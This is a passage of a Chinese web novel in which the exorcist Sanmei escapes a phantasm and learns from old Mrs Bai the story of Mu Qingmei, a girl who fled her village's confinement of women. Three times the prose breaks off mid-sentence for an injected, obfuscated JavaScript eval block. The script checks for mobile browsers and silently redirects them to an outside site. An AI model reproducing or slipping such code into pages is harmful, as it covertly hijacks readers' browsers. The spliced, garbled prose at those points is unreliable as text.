说完即刻转身,小脚一迈,风风火火就向外走,她絮絮叨叨:“这群小兔崽子,总爱趁着客人来访的时候捣蛋!看我今儿抓到了,怎么狠狠收拾他们......” 挡帘哗啦被掀起,又哗啦被甩下。 转瞬间,房间就剩下三枚和幽冥少女,还有直愣愣听着少女吟唱的小八耳。 锁魂箱里的冤魂,早在三枚踏入云阁之后,就没了动静。 三枚解下背上的木箱子,轻轻地放到了茶几上,随意找了张圆凳坐下,兀自给自己倒了杯清茶,半眯着眼悠闲地听着少女继续哼唱。 “分明很是耳熟啊,到底是在哪里听过的呢?”她一手支在桌上,撑着脑袋冥思苦想,修长的食指随着旋律,在桌上有一下没一下地轻敲着。 小八耳也瞪着眼,盯着哼唱摇篮曲的幽冥看了好一会儿,忽而拍着翅膀飞到了小几上。 它雄赳赳气昂昂地,踢踢踏踏绕着茶壶转圈,看了又看,最后伸长脖子,一把叨起壶盖,干脆利落往边上一扔,发出“当啷”一声响。 这一声响,仿若天音,一下子就敲醒了三枚混沌的记忆。 忽略简洁的歌词和悠扬的女声,只听旋律音韵,三枚拍掌:这不正是半年前,她被带入一片白茫茫的幻梦时,听见的莫名其妙的吟唱吗? “你,”三枚忍不住出声,“从幻梦里出来啦?” 幽冥少女的哼唱被打断,缓缓地睁开眼睛,微笑地看着三枚,却是沉默不作声了。 “故弄玄虚吗?”三枚指尖在锁魂箱上无意识地点了点,“还是,你根本就开不了口。” 不想她的话才刚说完,坐姿乖巧的幽冥忽而裂开嘴,脸上还在流淌的血泪,滴答滴答地落进大张的嘴巴里,发出“滋”的一声,接着化作一股浓烟,呼呼往外冒。 三枚见状立即站了起来,一只手拖着锁魂箱,警惕地看着有些异常的幽冥,沉声道:“八耳,回来!” 八耳却是充耳不闻,脑袋吭哧吭哧还在往茶壶里探。 眼见幽冥嘴里呼哧直冒的赤黑浓烟越来越多,弥漫的速度越来越快,地上几乎都要被覆盖了。 “这犟耳朵!”三枚咬牙,跺了跺脚,直接跳到了桌上,探身一把揪住小八耳的紫色单冠,“你干啥呢,从刚起忙得不亦乐乎?” “嘎!”小八耳探险游戏被猛然打断,不悦地朝三枚瞪眼。 “嘎什么嘎!你个小公鸡,学什么鸭叫!”三枚将它甩到锁魂箱上,见底下的浓烟越升越高,嘿呦一下又跳上了衣柜。 环顾一圈,发现整间房间就剩门口的地方,还没被浓烟完全弥漫,她深呼吸一口气,算了算距离,咬咬牙,一鼓作气朝门口的方向便飞跳了过去。 双脚刚落地,三枚刚要掀开挡帘,背后的小八耳又“嘎咯”一声,拍着翅膀飞回了放着茶壶的小几上。 “八耳!”三枚怒火中烧,正要去追。 这时挡帘被从外掀起,许妈妈的脸猛不丁撞了上来,“师父,你这是要去哪儿?” 眼前骤然出现一张老脸,三枚快速后退,愣了一瞬之后,大脑突然一激灵,脑袋猛然向后一转。 房间浓烟漫漫,坐在床上的幽冥少女却不见了。 耳边忽而又响起许妈妈的声音,一字一顿,阴森森地道:“师父,见着我家小姐了吗?” “啧。”三枚拧着眉头,脚下发力,迅速后退的同时,身子也跟着往后仰,险险躲过许妈妈朝她探过来的尖锐利爪。 余光一瞥,门口的许妈妈咧着大嘴,笑容十分诡异。 她身后的光影忽明忽暗,一张老脸一闪一闪,一下子闪现幽冥少女的面庞,一会儿变成木老夫人的容貌,一会儿三张脸重合在一起,嘴里又开始冒起了黑色的浓雾。 “什么鬼?难道木府其实是一座阴宅,跟我接触过的所有人,全是幽冥?” 三枚一边喃喃自语,一边后退,直到脚上传来刺痛,她低头一看,才惊觉自己不知不觉中,已经站在了房间的正中,身边也被浓烟包围了个严实。 她连忙捂住口鼻,屏住呼吸,想跳上衣柜,双脚却是动不了了,像是被什么东西狠狠地钉在了原地。 无奈,她只能一边警惕地看着门口的许妈妈,一边分神朝床上瞥眼,就怕一个不留神,消失不见的幽冥少女突然出现突袭自己。 “你到底想做什么?”三枚捂着嘴巴,说话的声音淡淡闷闷的,“何不大大方方说出来?” 然而不管站在门口诡笑的许妈妈,还是消失不见的幽冥少女,俱都没有说话。 三枚有些不耐烦,在浓烟漫到下巴的时候,趁着双手还能动弹,就想将背上的锁魂箱拉到身前,双手往后一探,却发现空空如也。 锁魂箱不见了。 不可能! 锁魂箱与她魂体相连,里头的小棺椁和紫铜铃铛,亦是她神志的一部分,绝对不可能会被抢走。 除非是自己的生命终结。 “难不成,”三枚沉下心,冷静地分析了一会儿,垂眸自言自语,“全是幻觉?” “不对,不是幻觉。” 她忽而抬起头,眯着眼睛看向床榻边的小几,在一团浓雾里艰难地寻找着八耳的身影。 仿佛心有灵犀,伸长了脖子几乎将脑袋都埋进茶壶里的小八耳,被三枚的视线锁定的瞬间,一下子就抬起了头。 炯炯有神的豆眼对上她视线的刹那,即刻转成猩红凶色。 三枚冷声一喝:“八耳!” 听见三枚的厉喝,小八耳再不敢充耳不闻,而是振翅起飞。 犹如猛兽觉醒,它头上的紫色单冠立得笔挺,鸡翅膀扇得飞快,刮起的猛风,霎时将房间的浓烟搅得更混。 八耳的鸡爪停滞半空,豆豆眼凶色一闪而过,鸡腿一曲,对着刚才还玩得忘乎所以的茶壶重拳出击。 “哐当”一声。 茶壶歪倒在几上,骨碌碌就要滚落的瞬间,八耳鸡爪一按,稳稳地将其制服。 它对着三枚邪魅一笑,爪下稍稍用力。 “滋啦!” 壶身现出裂痕,束缚在三枚身上浓雾迅速退散。 然而就在八耳完全捏碎壶身的前一刻,房间骤然一暗,三枚随之也陷入了昏暗中。 等她再次睁眼,发现自己正站在一间破庙里,是她进入黑山寨前,暂时落脚的地方。 低头一看,锁魂箱就在她的脚下,而八耳,却瞪着眼站在箱顶。 一人一鸡默默对视了一会儿,三枚忽而哼笑一声,杏眸却泛着冷意。 “果然,又是幻梦。” —— 踩着晨曦的朝阳,三枚站到黑山寨的东寨门。 还有一刻,就到辰时了。 她记得幻梦里,东寨门恰在辰时的时候开启的。 打着十二分的精神,她抬头看向散发着沉闷厚重感的古墙,忽然耳尖一动,听见了不远处的山里,响起了轻重不一的脚步声。 眼尾一挑,她默默地退到了边上,将锁魂箱放到墙角的阴影处。 三枚抱着八耳,侧对着山林的方向坐着,安静地等着门开、人来。 金色的光芒,洒照在城墙威严肃穆的匾额上的瞬间,紧闭的厚重石门,便在寂静中缓缓开启。 门扇随着门轴的转动,发出沉闷的“嗡嗡”声,声音十分独特,如同古老的钟鸣,仿佛散发着星点的微光,亦随之拉长。 幻梦里经历过一遭,三枚此时再见,一脸不以为意,却也不急着起身入寨。 她在等。 等许妈妈口中的,那些连夜入山酬拜的黑山寨村民们回来。 约莫又过了半刻钟,窸窸窣窣传入耳中的杂声,越来越近。 三枚将八耳夹在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13579913|133884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 腋下,从怀里掏出了一把白黍米,举到头顶朝寨门的方向,轻轻一扬洒。 颗粒饱满的白黍米,被她洒出了优美的弧度,淅淅沥沥地落了地,躺在阳光之下,看起来更加色泽莹润、晶莹剔透。 山里的人终于出来了。 然而不管是为首的老太爷,还是走在他近旁身后的其他人,个个灰头土脸,精神萎靡,脑袋微垂,脚步沉重地往寨子里走。 路过三枚身边的时候,也只不过是抬眼瞥了一下,更多的是直接略过了她,根本没人在意寨门外坐了一个陌生的外地人。 “哐啷!” 不知何时,从锁魂箱里跑到三枚脚边的破瓷碗,突然被扔进了两枚铜板。 三枚正合着眼睛,凝神倾听着那些踩过、或者跨过白黍米的人有没有异常。 忽然听见这声脆响,思绪不觉一顿,她的杏眸缓缓睁开,就见面前站了个半大小子模样的孩子,大约十一二岁。 两人大眼瞪小眼,对视了好一会儿。 “你是来化缘的吧。”受不了长时间的沉默,半大小子抓了抓乱糟糟的头发,率先开口道。 三枚看了下他脸上压出来的睡痕,眨了眨眼,“你,有什么心愿吗?” 她的破瓷碗一般不响,像方才那样发出脆响的时候,更是少之又少。 这小子,还真走运。 既然敲响了破瓷碗,那三枚便不能没有任何表示。 “啊?” 那小子一愣,一边挠头一边蹲到了三枚的身边,看着黑压压不停从山里走出来的人群。 “俺没读过书,不知道心愿是个啥子东西。” 三枚:“就是你心里想要却暂时无法得到的东西,或者想要完成目前却没法做到的事情,之类的。” “俺想快点长大,算吗?”他转头看着三枚,一脸恳切地道。 “为什么想快点长大?” “我想进山,俺们寨子里,进山须得成年了才行。” 三枚有些为难,却听那小子又道:“其实,俺也不是那么想要长大。” 他托着腮,皱着眉头,又开始抓着乱糟糟的头发,“我奶总说我没个定性,一天想一样。” “我也不太懂,自己想要什么。” 想了一会儿,三枚从怀里又掏出了一把白黍米,无视小八耳着急瞪眼的模样,递给了那小子。 “拿着,这是给你的祝福。”她这样说道。 “祝、祝福?”小子一惊,连忙双手接过,“啊,这是大米啊。” 三枚点头:“可以吃的,挺香脆。” 她的话刚一说完,那小子一仰头,将手里的白黍米全倒进了嘴巴里,嚼得嘎巴嘎巴响。 三枚:......这孩子,天真得有些缺心眼了。 也不怕她是个别有用心的坏人,给的东西有毒没毒,一点犹豫都没有就全塞嘴里。 “还真挺香。”小子憨厚一笑,“我早起还没吃饭呢,正好填填肚子。” “哦。”有些傻眼的三枚,挠了挠有些发痒的额头,“行吧。” “序三。” 见从山林里出来的人群走得差不多了,确认了没有异常,她拍拍手站了起来,对着那小子淡声道:“你也可以喊我三枚。” 那小子笑嘻嘻的,也跟着拍拍屁股站了起来,帮三枚将锁魂箱背好,他正想自我介绍:“我叫——” “阿丑!你这个混账东西,背着老娘又偷跑出门了!” 黑山寨里突然冲出一个头发花白的小老太,手里捏着根又粗又长的大木棍,怒气冲冲地朝那小子咆哮而来。 三枚杏眸瞪大:......腿脚敏捷,中气十足,简直老当益壮! “啊呀!” 阿丑吓得原地蹦起,一下子就跑了出去。 一老一少,猫抓老鼠似的,阿丑带着小老太,绕着寨门跑了一圈,又躲回了三枚的身后。 “三枚师父救我!” 小老太爆喝一声:“今儿我定要将你的腿脚抽断!谁来也不好使!” 棍子举到半空,就要劈头朝三枚挥过来的时候,蓦然一滞。 老眼昏花的小老太,此时才看清站在城墙边上、三枚的模样,满是皱纹的老脸一拧,忽而将木棍藏到身后,她气喘吁吁,努力平复着自己的气息。 须臾,小老太眯着眼睛,警惕地道:“敢问师父,是从哪里来的?” 83. 第 83 章 “又是梦吗?” 三枚盘腿坐在棺椁上,一手撑着下巴,徐徐地讲述着自己到了黑山寨后遇到的事儿。 坐在她对面的陆衎,一眼不错地看着她,耳朵认真听着她的话,眼睛却在心疼她受伤的手,皱着眉头,心想才半年不见,三枚整个人瘦得下巴都尖了。 再想她为锁魂箱里的亡灵送魂,天涯海角跑个遍,估计半年来都是在路上度过的。 风吹雨打,舟车劳顿,不瘦才怪呢! 越想越心疼,乍然听见三枚讲到那小老太,居然问出了跟幻梦里的许妈妈一模一样的话后,陆衎不由眉头一皱,不悦地道:“小老太又声泪俱下了?” 世上寻尸人也不单三枚一人,怎么什么鬼,就缠着她一人折腾呢? “啧!”不知陆衎心中所想,三枚嘴巴一瘪,想到一脸冷傲的小老太,哼了一声,皱着脸道:“冷漠无情的很!” 她才说了湖州两个字,还没提及无眉山呢,那小老太的脸咵啦往下一沉,二话不说转身就走。 陆衎却很会抓重点:“这样大的反应,想来她也知道湖州,应该也听说过无眉山的存在。” “岂止!”三枚抬头,看着离他们还有段距离的悬崖,秀气地打了个哈欠,“小老太根本就特别熟知我们山门序家。” —— “叩、叩、叩。” 小老太佝偻着腰,歪坐在石阶上,手里拿着根旱烟杆,不轻不重地敲在石阶上。 阿丑就跪在天井下,耷拉着脑袋,一字一顿地背着诗经,背到不熟悉的地方,烫嘴一般快速含糊带过,接着又一字一顿,苦着脸继续背。 饶有趣味地欣赏了一会儿,鼻尖忽而飘过一阵刺鼻的烟味,三枚轻蹙眉头,慢慢将视线移到了吞云吐雾的小老太身上。 从嘴里徐徐吐出一口浓烟,隔着缥缈朦胧的烟雾,小老太出声问道:“小师父湖州人,怎么跑俺们黑山寨来了?” 安静又逼仄的小院子,终于有人开口,打破空气里似有若无的紧张气氛。 听见小老太的声音,阿丑背诗的声音逐渐小了下来,眼睛灵活地转了又转,一心二用。 三枚双手环胸,吊儿郎当靠站在柱子上,闻言轻笑一声,不答反问:“老太太,对黑山寨的木府,了解多少?” 小老太抽了一口旱烟,好似没有听见她的问题,兀自又道:“小师父不远千里,跑俺们寨子里,就为了打听木府?” 看着随风飘散的烟雾,三枚望着小院后头的小小阁楼,又问:“老太太听说过,山门序家吗?” 漫不经心的小老太瞳孔一晃,转瞬又恢复了正常,对三枚的反问,仍似充耳不闻。 她面无表情地道:“小师父姓序?”不待三枚回答,又问:“好端端的,作甚打听起木府?” 尽管她情绪转换飞快,却逃不过三枚的眼睛,她的嘴角一提:“老太太怎么称呼?” “俺们姓白!外头人称呼我奶白老太。” 竖着耳朵一直在偷听,听完却满头雾水的阿丑,终于逮着自己知道答案的问题,立即举手抢答。 抢答完还特别自豪地一拍胸脯,“俺也随奶姓,叫白阿丑。” “啧!” 听见这声不耐烦的轻啧,笑意盈盈的阿丑,小脸立马一垮。 在白老太的眼刀飞过来的瞬间,脑袋迅速向下一耷拉,她嘟嘟囔囔又背起了诗。 “俺们这些小老百姓的,哪能知道人高门大院的事儿。”小老太眼睑微抬,睨了三枚一眼,漫不经心地道:“小师父,你问错人咯。” 三枚无所谓般耸了耸肩,忽而伸手,对着后头的小阁楼一指:“这是云阁吧?” “用来规训,未出阁的闺女儿自由的天牢。”她歪着脑袋,笑得天真无邪,对白老太的黑脸熟视无睹,一字一顿地道,“你们黑山寨的传统。” “啪!” 白老太旱烟杆一摔,勃然大怒,指着三枚厉声道:“放肆!” “哎哟!” 跪在地上的阿丑,却是一个飞奔,却还是来不及接住那旱烟杆。 他心疼地捧起地上的旱烟杆,眼见杠上被摔出裂痕,气得大吼道:“奶!你啥时候能改改生气就摔东西的臭毛病!” 正蓄势要怒喷三枚的白老太,被阿丑这么一抢白,气得胸腔剧烈起伏,瞬间就转移了炮火矛头。 “混账东西!你知道自己在跟谁说话吗?私塾的老师就是这么教你跟家中长辈说话的?没大没小,你个目无尊长的混账东西!” 阿丑摸着烟杆上的裂痕,声音比白老太还大地吼:“我说错了吗?您自个儿数数,今月您摔坏了几把烟杆了!” “还总是叨叨供我读书,把家里底都给掏穷了,明明钱都让您用来买烟杆了!” 白老太气得直接从地上蹦了起来,怒不可遏地道:“还不是都是你这个混账东西!成天气我,我不发脾气怎么会摔坏烟杆?” 阿丑:“我在私塾成绩名列前茅,谁知道您天天都心气不顺,为了点鸡毛蒜皮的小事儿,不是罚我就是骂我,我看整条街就没有哪个小老太比您还爱发脾气!” “混账东西!我看你是吃了熊心豹子胆了,竟然敢跟我这么说话!”小老太一撸袖子,抄起靠在石阶上的木棍,张牙舞爪地朝阿丑挥了过去。 “我今儿不把你这么个混账打服了,我就跟你姓!” 看好戏看得津津有味的三枚,杏眸眨了又眨:你俩不管谁跟谁,不都是姓白? 憨憨的小阿丑还没反应过来,听见白老太那么一说,直接吓懵了:“那、那咋行啊!” “奶呀,”阿丑哭丧着脸,“您这是要害我,被人戳脊梁骨啊!” 人懵是懵了,但看见迎面挥来的木棍,本能就是逃跑。 白老太老归老,腿脚甚是灵活,木棍挥舞十下,总能让她击中一次。 “跑?你还敢跑!看我打断你的狗腿,看你能跑到哪里去!” “啊啊啊!!!” 逼仄的院子限制了阿丑逃跑的速度,和躲避的范围,木棍实打实砸在他的身上,又痛又麻。 疼痛,唤醒了他迟来的理智。 他一边躲,一边求饶:“痛痛痛!!奶呀,我不敢了,别打了别打了,我不敢顶嘴了!” 不知道跑到第几圈,白老天终于跑累了,木棍撑在地上,她气喘吁吁地叉着腰,狠狠瞪着阿丑。 “混账东西,给我跪好了,晚饭前不准起来!” 同样喘着粗气的阿丑,闻言条件反射一样,“噗通”一声,就地跪了下去,黝黑的面庞瞬间又皱成了苦瓜。 “咋又罚跪啊!” 白老太闻言又是一声暴喝:“你不敬尊长,不服管教还敢顶嘴,难道不该罚吗?” “还敢埋怨我总是发脾气,自个儿怎么就不知道好好反省反省!就你这样儿没形不着调的,哪天不气上我七回八回的?” “我看你是越来越疯,心也越来越野 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13612535|133884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。” 阿丑脑袋向下一垂,刚才的胆气已经不复存在,不仅再不敢顶嘴了,整个人怂得都缩成了一团。 “哼!” 一把抢过阿丑手里的旱烟杆,小老太哼了一声,转身就见三枚笑意盈盈地看着自己。 她这才想起,院子里还有个更目中无人、更口无遮拦的丫头。 小老太于是双眼一瞪,准备将炮火对准三枚。 三枚眼尾一挑,无所畏惧。 被她抱在怀里的小八耳,更是精神抖擞,豆眼瞬间瞪大,随时准备迎战。 前一刻还闹得鸡飞狗跳的小院,一时间安静了下来。 空气的流动仿佛瞬间凝滞,眼神对峙的两人一鸡之间,好似弥漫着无声的硝烟。 气势较量,无声无息。 大战,即将一触即发。 周围环境安静得几乎落针可闻,于是乎,歪七扭八跪在后头的阿丑,嘴里小小声的嘟嘟囔囔,特别轻易地就随风飘进了人的耳朵里。 “我怎么就野了?整天被关在云阁里头,不疯才怪!” —— 说错话的白阿丑,不用打也老实了。 她战战兢兢地坐在饭桌上,端着饭碗黏在三枚的身边,大气都不敢出,小心翼翼地嚼着白米饭,简直食不下咽。 三枚倒是吃得不亦乐乎,碗里的饭菜堆成了小山,还在不断往里夹。 她大口吃肉,大口吃菜,完全感受不到白老太的怒目而视。 “吃菜啊,干吃白米饭多没滋味!” 她反客为主,给白阿丑夹了两筷子五花肉,扭头又呼哧呼哧海吃了起来。 小八耳在饭桌的另一边,也是埋头“嘎巴嘎巴”嚼着白黍米,吃欢了不时还抬头“咯”上那么一声。 只有白老太,脸色气得一阵青一阵白,眼里的怒火都快要夺眶而出。 她一会儿恨铁不成钢地瞪着自己那愚蠢的孙女,一会儿怒视大快朵颐、胡吃海塞的三枚,心中越想越气,就差把自己给气饱了。 “啊!” 吃饱喝足的三枚,发出了一声满足的喟叹:“真是许久不曾这样,酣畅淋漓地吃上一顿如此合我胃口的好饭菜啦!” 白老太嘴角一抽,看着三枚一点正行没有地歪躺在她家的长榻上,眼里满满的都是嫌弃。 “小姑娘家家,坐没坐相,随随便便就在别人家躺下,好像没骨头似的,睡相更是没眼看!” 她忍了又忍,勉强将心头的恶气给忍了下去。 从三枚的话里,阿丑听出了她是在夸赞自己的好厨艺,骄傲地一挺胸膛,正想故作谦虚地说点什么,刚一抬眸就对上白老太的一双厉眼,吓得又缩回了脑袋,又朝三枚身边挪了挪。 “呼!” 猛吸了一口旱烟,恨恨地吐了出来,白老太敲了敲桌边,沉声道:“说吧,你到底想知道些什么?” 吃太饱有些发饭晕的三枚,打了个哈欠,舒舒服服地伸了个大懒腰,才一手撑着脑袋,侧躺着面向白老太,慢吞吞地道:“老太太,听说过一个叫做木清梅的小姐吗?” “你——” 白老太瞳孔一缩,又蓦然瞪大,回神过后,慌慌张张地落跑到门口,警惕地左右张望了一下,才将门窗全部关上。 她三步并作一步,疾走到三枚面前,压低声音问道:“打听这个作甚?” 似乎想到什么,白老太抓着她的胳膊,声音发颤:“你,认识阿梅小姐?” 84. 第 84 章 消失了近五十年的人,突然被人提起,怎么不叫人讶异? 况且还是令整个黑山寨都讳莫如深的木清梅。 白老太脑海里飞闪过尘封多年的回忆,忽而一个激灵,眯着眼睛仔仔细细地端详起了三枚的五官轮廓。 “跟阿梅小姐,长得也不像啊。”她撇着嘴低喃道。 三枚一头黑线,推开快要凑到脸上的老脸,嫌弃地挥了挥萦绕在鼻尖的烟味。 她不悦地瞪着白老太:“你这小老太太,天马行空想着什么好事呢!” “我堂堂正正姓序,山门序家的掌门,跟你那啥子阿梅小姐,半毛钱关系都没有!” 小老太眼神忒不好,这是将她当做了木清梅的后人了。 听三枚矢口否认,白老太脸上纵横沟壑的皱纹一展,而后又神色不明地扫了三枚一眼。 “哼!我瞧着也不像。” 她抓起旱烟杆对着桌角又敲了敲,“阿梅小姐,仪态姿容可端方贵气了,哪像你,这般丑态百出。” 死老太婆! 三枚心里咬牙,面上却作无所谓,她双臂一伸,摊了摊手,漫不经心地指着靠在一边昏昏欲睡的阿丑,轻笑一声。 “呵呵,彼此彼此,你这样儿的,也养不出啥大家闺秀。咱谁也别笑话谁。” 顺着三枚的视线望去,正好亲眼目睹自家孙女吸溜着口水的丑模样,白老太瞬间又心塞头疼了。 她咬着牙,恨恨地拧了阿丑的胳膊一下,“混账东西,怎的睡成这幅德行!” “哎哟!”阿丑吃痛,扭着胳膊从椅子上蹦了起来,“奶,作甚又打我!” “你还敢问!”白老太挥起旱烟杆,又要打人。 阿丑见状,猴儿一般哧溜一下窜上了长榻,躲在了三枚的身后,大喊:“三枚师父,救我!” “哈哈,”三枚慢腾腾地坐了起来,看着愠怒的白老太,点了点长榻的另一边,“给我说说呗,木清梅是怎么一回事?” —— 木清梅的故事,跟三枚想象中的惊心动魄、跌宕起伏的奇幻故事,完全不一样。 凭借幻梦里的一个片段,她自己脑补出了一出大戏。 天真淳朴大小姐被贫穷而碌碌无为的凤凰男蛊惑昏了头,惨遭家族棒打鸳鸯,愤而离家出走,一心为爱抛弃一切闯天涯,结果出了意外,横死他乡,接着又撞见什么惊险奇遇,最后成了幽冥。 逝者灵魂得不到解脱,或者对生前的选择后悔,有了执念又无法回到家乡,所以死后又被自己曾经极度憎恶,又疯狂想要逃离的云阁,又给束缚了自由。 然而事实却是,木清梅离开黑山寨时,跟阿丑差不多年纪,不过才十一二岁的小孩子。 “阿梅小姐是个拥有自由灵魂的人,她天真善良,从来不是那等自视甚高的闺阁小姐。” 白老太摸着旱烟杆,歪坐在太师椅上,老眼迷蒙,像是在回忆着什么。 “她从来不曾轻视过任何人,总是平等地善待每一个人。才四五岁的年纪,就跟在木府少夫人的身边,乐善好施,救济穷人。” 白老太记得,当年寨子里有段时间,不管穷不穷,总有那么几个人,就爱守在木府门口,就为了能讨上一口好酒好肉。 “所以我儿子病重,孩他爹四处求助无门的时候,裤兜比脸还干净的我,有一天心一横,堵住了阿梅小姐的马车。” 她的眼睛闪过一道亮光,看着三枚,笑意浅浅。 三枚:“她给你钱买药了?” “是的。”白老太笑得牙不见眼,“我知道只要自己开口,哭得再可怜一点,又是众目睽睽之下,善良的小姐即使心里不舒服,也肯定会出手相助的。” 丝毫没有掩饰自己的小心思,她笑盈盈地和盘托出,“当时阿梅小姐身边的许妈妈,神色愠怒,显然是看出了我心机深沉,虽然心不甘情不愿,却还是丢给了我五两银子。” 白老太伸出一只手,布满皱纹斑点的老手,对着三枚一挥,重重强调道:“整整五两银子啊!” “我当时已为人妇,二十五岁了,从来没见过这样大的钱!我欣喜若狂啊,万班感激之余,第二个蹦出的念头,就是:有钱人真是出手大方!” 三枚杏眸微转,在心里快速换算了下,五两银子,可以换多少张大肉饼! 算不出来!但肯定能买好多好多! “然而,不知道是我娃重病用了珍贵药材,还是大夫看我有了钱故意讹人,反正给孩子看完病,五两银子到最后,才勉勉强强刚够付药钱。” 白老太无奈地摇了摇头,“好在娃娃的病,最后终究是好了。” “那还算好,总归孩子好了,你们家也没负债。”三枚喝了口茶,默默地道。 不想白老太却是一摇头,“我们刚开始也是这样想的。” “后来证明,我确实如许妈妈所想,心术不正,看谁都歪七扭八。”白老太自嘲一笑,“我疑心重,又不甘心五两银子跟流水一样,握在掌心还没拿稳呢,哗啦一下就从指缝里溜走。” “后来让娃他爹拿着药渣,私自在山下找了个药馆瞅瞅,这一问,才知道老大夫是个好的,给我娃用的都是上好的珍贵药材,我那区区五两银子,根本就够不上这样的好东西!” “木清梅又出钱了?”三枚挑眉问道。 白老太点头,感慨万分地道:“人家才四岁的孩子啊,心胸比我这个大人还要宽阔,私下嘱咐了那位许妈妈照应着我,不仅出钱出力,连入药的老参,都是开了私库给拿的。” “你问我怎么知道?人家听说我娃儿好了,开心得直接上门来了,说是不放心,要亲眼瞧瞧。” 白老太:“虽然阿梅小姐私下跟我说,那是她为了能够出门找的借口。” 她指着自己心脏的位置,“但我这歪了斜了的心啊,终是被她一个小孩子,给硬生生掰正了过来。” 听得一脸津津有味的阿丑,忍不住在三枚耳边小声嘀咕:“那怎么不把你那暴脾气,也给掰掰咧?” “噗嗤!”三枚忍不住笑出声。 白老太立马瞪眼:“笑什么?” “没什么。”三枚抿抿嘴,收敛了脸上的笑意,瞪着和阿丑一般无二的无辜大眼睛,一边摇头一边和她异口同声道,“没笑啊。” “哼!” 白老太一人飞了一个眼刀,继续说道:“那次之后,阿梅小姐偶尔出门了,时不时会溜达到我家。” 相处的时间久了,她也发现了,阿梅小姐跟一般的大家闺秀很不一样。 “她脸上的笑容,是那么的诚挚纯真,听我们说话的时候,总是看着我们的眼睛,从来不会打断。什么骄纵傲慢,什么暴躁跋扈,在阿梅小姐身上完全看不见。” “她像天上飞跃的鸟儿一样,自由而欢脱,快乐也无拘。” 白老太说着说着,脸上的笑意逐渐消失,“但是,诚如你先前所言,女童七岁起不许迈出二门,连三尺以上男童都不允许见,是我们黑山寨自古以来就有的规矩。” 三枚补充道:“严谨点,给女子划下的规 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13627491|133884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 矩。” 白老太一顿,就见对面着一身素朴道袍的女孩,满脸讥笑地看着自己,“我观大街小巷,畅快笑闹的男子,什么年龄段的都有。” 三枚指着懵懵懂懂的阿丑,“所以这家伙,才女扮男装,把脸抹得脏兮兮了,才敢混出门的吧?” 阿丑脑袋一缩,心想咋又把矛头指向自己身上来啦? 白老太耷拉的眼皮,往下微微一垂,心情顿时不爽了起来,回忆往昔的兴致倏地一下就没了。 “阿梅小姐被困在了木府的云阁里,白天黑夜足不出户,我被许妈妈带到木府之时,小姐整个人瘦了一大圈。” 原本讨喜圆润的鹅蛋脸,瘦得仿佛只剩一双大眼睛,昔日的水汪灵动双眸,成了呆板忧郁的空洞。 “我只被允许站在云阁的院子里,与阿梅小姐遥相对望,什么话都无法说。” 阿梅小姐站在高高的精致的云阁之上,眼里已经没了光亮,像是被剪了羽翼的家雀,仿佛再也快乐不起来了。 “我们这些生活在犄角旮旯、终日操心生计只为糊口的小老百姓,根本没有途径能够打探大户人家的小姐的近况。” 白老太将旱烟杆放到桌上,叹了一口气,“最后一次听见阿梅小姐的消息,是在一个深夜。” 许妈妈带着人马,举着冲天的火棍,在她家胡乱翻找了一通,什么都没说,又带着人着急忙慌地走了。 “后来事情闹大了,我才知道,阿梅小姐那夜,竟是带着贴身丫鬟,从云阁上跳了下来,人不知鬼不觉地,居然顺利地逃出了木府。” 她说到最后,眼里散发敬佩和崇拜的光芒,与有荣焉似的,挺起了自己的胸膛。 “阿梅小姐,是我们黑山寨迄今为止,第一个也是唯一一个,敢站出来公然指责寨规祖训不人道的闺秀。” 听到这里,三枚大致理解,木清梅是一个勇于争取自由,反抗封建礼教对女子严苛残害的先行者,可惜了她势单力薄,被家族无情镇压后,失落、失望和愤怒交集于胸,最后做出了逃离牢笼的举措。 “哎。”白老太叹了一口气,“寨子的老族长特别愤怒,觉得阿梅小姐此举影响极其恶劣,不仅将小姐除了族,而且还下了一道新的命令,寨子里凡是未出阁女子,再不许踏出门户一步。” “以前七岁以下的孩童还能自由出入街道、门户,此后,却是连刚出生的女娃娃,也不被允许让出门了,”老眼漫上阴鸷,白老太看着三枚,轻声道:“不少人家,都怨上了阿梅小姐。” 三枚:“你不怨吗?” “哼。”白老太轻嗤一声,指着皱眉陷入沉思的阿丑,道:“这混账东西,混进私塾读书,可不是这一两年的事。” 别人害怕家里再出一个忤逆不孝的木清梅,将家中的闺女儿死死地圈禁在一方天井里,美其名曰:只要不曾拥有过,何论失去。 简直掩耳盗铃! 三枚看着一脸孤傲的白老太若有所思,听她所言,木清梅离家时不过十一二岁,但她在幻梦里看见的幽冥,明显已初具少女雏形。 “十一二岁啊,那还是个孩子呀,”三枚佯装狐疑,“你怎么就能确定,她离家不是因为跟家人赌气叛逆,而是觉醒了自由意识?” 